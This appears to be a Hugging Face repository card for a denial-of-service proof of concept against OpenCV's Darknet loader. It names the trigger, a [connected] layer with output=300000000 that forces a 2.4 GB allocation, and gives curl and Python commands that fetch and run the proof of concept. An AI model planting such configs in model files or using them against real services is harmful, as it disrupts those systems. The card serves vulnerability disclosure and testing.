Darknet connected output allocation DoS PoC

This repository contains a benign security research PoC for a Darknet config that drives large allocation in cv2.dnn.readNetFromDarknet(...).

Files:

  • control_same_size.cfg
  • malicious_output_300m.cfg
  • tiny_shared.weights
  • reproduce.py
  • requirements.txt

Tested environment:

  • opencv-python==4.13.0.92
  • runtime cv2.__version__ == 4.13.0

Observed behavior:

  • control config:
    • loads successfully
  • malicious config:
    • with output=300000000 in a [connected] layer
    • raises: Failed to allocate 2400000000 bytes

Reproduction:

python3 -m venv /tmp/darknet-output-dos
/tmp/darknet-output-dos/bin/pip install -U pip
/tmp/darknet-output-dos/bin/pip install -r requirements.txt

curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/control_same_size.cfg
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/malicious_output_300m.cfg
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/tiny_shared.weights
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/reproduce.py
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/requirements.txt

/tmp/darknet-output-dos/bin/python reproduce.py control_same_size.cfg malicious_output_300m.cfg tiny_shared.weights
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support